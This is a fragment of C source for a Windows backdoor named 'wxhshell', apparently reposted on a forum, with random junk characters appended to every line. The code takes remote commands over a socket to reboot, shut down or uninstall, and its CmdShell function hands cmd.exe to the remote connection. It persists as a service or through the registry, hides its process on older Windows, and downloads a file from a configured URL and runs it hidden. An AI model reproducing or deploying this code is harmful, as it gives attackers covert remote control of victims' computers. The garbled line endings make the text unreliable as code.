  else { ,V]FAIJ  
r*mYtS  
    switch(cmd[0]) { 2Q(ZW@0  
  :n~Mg{j3  
  // 帮助 l<=k#d  
  case '?': { N4VZl[7?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X(d:!-_m *  
    break; /o$6"~t  
  } "dndhoMq  
  // 安装 !X"nN9k  
  case 'i': { '.pGkXyQ  
    if(Install()) ]5*H/8Ke7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ys/I,}<  
    else M-Vz$D/aed  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R$}Hv  
    break; D8w.r"ne  
    } `xv Uq\  
  // 卸载 >J;J&]Olf  
  case 'r': { RjP]8tH&  
    if(Uninstall()) !}P^O(oY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [m< jM[w{  
    else D.7cWR`Wp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B(71I;  
    break; |uFb(kL[U  
    } |I"&Z+m  
  // 显示 wxhshell 所在路径 J Z@sk2  
  case 'p': { Su,<idS  
    char svExeFile[MAX_PATH]; SLkgIb~'X  
    strcpy(svExeFile,"\n\r"); bSI*`Dc"!  
      strcat(svExeFile,ExeFile); G DBV  
        send(wsh,svExeFile,strlen(svExeFile),0); e]!`94f  
    break; s]=XAm"4  
    } 0#yH<h$   
  // 重启 ?^-fivzS>  
  case 'b': { h^IizrqU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c3fi<?0&|  
    if(Boot(REBOOT)) 2HE<WI^#h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xeis_  
    else { 7Y.yl F:  
    closesocket(wsh); T[[E)f1[  
    ExitThread(0); g] IPNW^n  
    } i/8OC  
    break; p|0SA=?k"  
    } >3p8o@:  
  // 关机 *hFJI9G  
  case 'd': {  874j9ky[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j";L{  
    if(Boot(SHUTDOWN)) e5FF'~A%]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW}M1kq?+l  
    else { ):=8w.yC  
    closesocket(wsh); fK@UlMC]7  
    ExitThread(0); 2WKIO|'  
    } Ygfy;G%  
    break; OL#i!ia.  
    } Q-s5-&h(  
  // 获取shell 5A %TpJ  
  case 's': { [ot+EA  
    CmdShell(wsh); -ImO y|  
    closesocket(wsh); XI ><;#  
    ExitThread(0); u[wDOw  
    break; ZZxt90YR'5  
  } gHL:XW^  
  // 退出 z:Ru`  
  case 'x': { (i<\n`h1K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZLP0SCkuR  
    CloseIt(wsh); i-95>ff  
    break; >W:kTS<  
    } ,Wd+&|Q  
  // 离开 NS x-~)  
  case 'q': {  - sq= |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qw|B-lT{:  
    closesocket(wsh); [e|9%[.V  
    WSACleanup(); gz:US 77  
    exit(1); JGhK8E  
    break; |9m*? 7  
        } ]REF1<)4z  
  } [W'2z,S`WD  
  } 'OhGSs|  
b9Eb"  
  // 提示信息 0eA |Uq~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~WmA55  
} ^|h.B$_F,  
  } &xC5Mecb*  
/I`-  
  return; k1D|Cpnp  
} VB+_ kR6Zv  
?%>S5,f_  
// shell模块句柄 8js1m55KT  
int CmdShell(SOCKET sock) >\lBbq a#  
{ HErG%v]nw  
STARTUPINFO si; d(D|rf,av  
ZeroMemory(&si,sizeof(si)); |t58n{V.O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cGg ~+R2P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m$'ZiS5  
PROCESS_INFORMATION ProcessInfo; -OgC.6  
char cmdline[]="cmd"; &x4|!" G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9PR?'X;4  
  return 0; '_n$xfH  
} k <LFH(  
7X/B9Hee  
// 自身启动模式 x)kp*^/  
int StartFromService(void) YO.+ 06X  
{ 99Nm?$ g  
typedef struct `q y@Qo  
{ Q,o"[ &Gp  
  DWORD ExitStatus; f Lns^  
  DWORD PebBaseAddress; UtB~joaR  
  DWORD AffinityMask; +4]f6Zz({  
  DWORD BasePriority; ir;az{T#U  
  ULONG UniqueProcessId; @ w,O1Xwj  
  ULONG InheritedFromUniqueProcessId;  (=Lx9-u  
}   PROCESS_BASIC_INFORMATION; 40;4=  
<q4 <3A  
PROCNTQSIP NtQueryInformationProcess; }K 2fwE  
|s !7U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5q}7#{A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {9./-  
/yO0Z1G  
  HANDLE             hProcess; Gd[: &h  
  PROCESS_BASIC_INFORMATION pbi; jxgs!B>   
?$H=n{iW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J}VG4}L  
  if(NULL == hInst ) return 0; ]n4G]ybK%  
5mI}IS|@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5&Le?-/\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Cglhsb:N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fau24-g  
MB?762 Q  
  if (!NtQueryInformationProcess) return 0; lM%3 ?~?Q&  
KN\tRE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T5TA kEVl  
  if(!hProcess) return 0; +78cQqDY!  
=?1B|hdo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ";w"dfC^  
(5=B^9{R  
  CloseHandle(hProcess); ff 2`4_ ,|  
5oY^; )\/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SGLU7*sfd  
if(hProcess==NULL) return 0; ,D{D QJ(B  
-j}zr yG-  
HMODULE hMod; f;a55%3c  
char procName[255]; m+dJ3   
unsigned long cbNeeded; 9.l*#A^  
ys} I~MK-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EpH\;25u  
z CFXQi  
  CloseHandle(hProcess); FWQNO(  
`z6I][Uf  
if(strstr(procName,"services")) return 1; // 以服务启动 bb`8YF+?'  
a~Y`N73/c  
  return 0; // 注册表启动 <3[0A;W=1  
} lemUUl(^  
QWAtF@qTV  
// 主模块  s{T6qJ  
int StartWxhshell(LPSTR lpCmdLine) SH1)@K-  
{ F+m;y  
  SOCKET wsl; -h,?_d>  
BOOL val=TRUE; Y/,Cy0!  
  int port=0; N9BfjT}  
  struct sockaddr_in door; 6{?B`gm7g  
C.?~D*Q  
  if(wscfg.ws_autoins) Install(); l[b`4  
A0gRX]  
port=atoi(lpCmdLine); )s>R~7  
Xny{8Oo<1?  
if(port<=0) port=wscfg.ws_port; '>#8 F.  
,^&amWey  
  WSADATA data; ~y8KQ-1n"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Na$[nv8qh  
h%>yErs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (cm8x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EVDcj,b"^  
  door.sin_family = AF_INET; V%[34G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R b=q #  
  door.sin_port = htons(port); k[]2S8K2  
zEs:OOM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fnJt8Y4  
closesocket(wsl); gH|:=vfYUR  
return 1; 7Nlk:f)*-  
} >AUzsQ  
`z<I<  
  if(listen(wsl,2) == INVALID_SOCKET) { 2 UPG8]  
closesocket(wsl); \MB$Cwc  
return 1; RZqou|ki  
} 6l& ,!fd  
  Wxhshell(wsl); (A\\s$fE/1  
  WSACleanup(); ?=V;5H.  
Z6IWQo,)Rh  
return 0; 6=g! Hs{  
V&J'2Lq  
} i^"!"&tW#  
Oc%W_Gb7  
// 以NT服务方式启动 *apkw5B}C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CK(`]-q>,  
{ Jqz K5)  
DWORD   status = 0; s-JS[  
  DWORD   specificError = 0xfffffff; lHc9D  
yUEvva  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nXfd f-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .g!K| c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZFRKzPc {V  
  serviceStatus.dwWin32ExitCode     = 0; 80 ckh  
  serviceStatus.dwServiceSpecificExitCode = 0; M&` b\la  
  serviceStatus.dwCheckPoint       = 0; aBWA hn  
  serviceStatus.dwWaitHint       = 0; 4XIc|a Aa  
9G^gI}bY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gvoYyO#cm  
  if (hServiceStatusHandle==0) return; `zsooA Gt  
eR:C?v  
status = GetLastError(); (0^ZZe`# j  
  if (status!=NO_ERROR) )_SpY\J  
{ k[{ ~ eN:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ ;ObT=  
    serviceStatus.dwCheckPoint       = 0; |X;|=.  
    serviceStatus.dwWaitHint       = 0; ayQ2#9X}  
    serviceStatus.dwWin32ExitCode     = status; 'C) v?!19  
    serviceStatus.dwServiceSpecificExitCode = specificError; DIx.a^LR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7+[+Y  
    return; =TJ9Gr/R&:  
  } hr3<vWAD  
e@7UL|12  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jR>`Xz  
  serviceStatus.dwCheckPoint       = 0; 8~ u/gM  
  serviceStatus.dwWaitHint       = 0; f-Zi!AGh>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h}4yz96WD  
} 1C(sBU"  
2ae"Sd!-2  
// 处理NT服务事件,比如:启动、停止 <"{VVyK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }mpFo 2  
{ hRZYvZ3  
switch(fdwControl) 8~y&"  \  
{ ew<_2Xy"<  
case SERVICE_CONTROL_STOP: cc0T b  
  serviceStatus.dwWin32ExitCode = 0; oqbhb1D1<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >35W{ d  
  serviceStatus.dwCheckPoint   = 0; H`1q8}m  
  serviceStatus.dwWaitHint     = 0; =:'\wx X  
  { _RE;}1rb,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vH/RP  
  }  w>\_d  
  return; WaSZw0U}y  
case SERVICE_CONTROL_PAUSE: 06]"{2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J;'H],w}f  
  break; 5}Z>N,4  
case SERVICE_CONTROL_CONTINUE: fGoJP[ae  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LZ RP}|  
  break; K%1`LT5:~  
case SERVICE_CONTROL_INTERROGATE: ehTv@2b  
  break; D!&]jkUN  
}; F ESl#.}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YP>J'{?b*"  
} ZmmX_!M  
zxkO&DGRbN  
// 标准应用程序主函数 [ps4i_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1)!2D?w  
{ ik1asj1  
JJ9R, 8n6  
// 获取操作系统版本 o pTH6a  
OsIsNt=GetOsVer(); WjOP2CVv|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <!F".9c@A  
8*Ty`G&v  
  // 从命令行安装 vIf-TQw  
  if(strpbrk(lpCmdLine,"iI")) Install(); !,]2.:{0z  
l+j !CvtI  
  // 下载执行文件 ,0{x-S0jX<  
if(wscfg.ws_downexe) { <<R2 X1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w|abaMam  
  WinExec(wscfg.ws_filenam,SW_HIDE); A?h o<@^  
} u~PZK.Uf0  
KW$.Yy  
if(!OsIsNt) { i|m8#*Hd  
// 如果时win9x,隐藏进程并且设置为注册表启动 2#/23(Wc  
HideProc(); #x`K4f)  
StartWxhshell(lpCmdLine); |AS~sjWSJ  
} Vh>|F}%E  
else uU%Z%O  
  if(StartFromService()) QseV\;z  
  // 以服务方式启动 gegM&Xo  
  StartServiceCtrlDispatcher(DispatchTable); H4W!Md  
else '2 Y8  
  // 普通方式启动 (2UA,  
  StartWxhshell(lpCmdLine); }B_?7+  
70 Ph^e)  
return 0; r6GXmr  
}
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只看该作者 1 发表于: 2006-10-10
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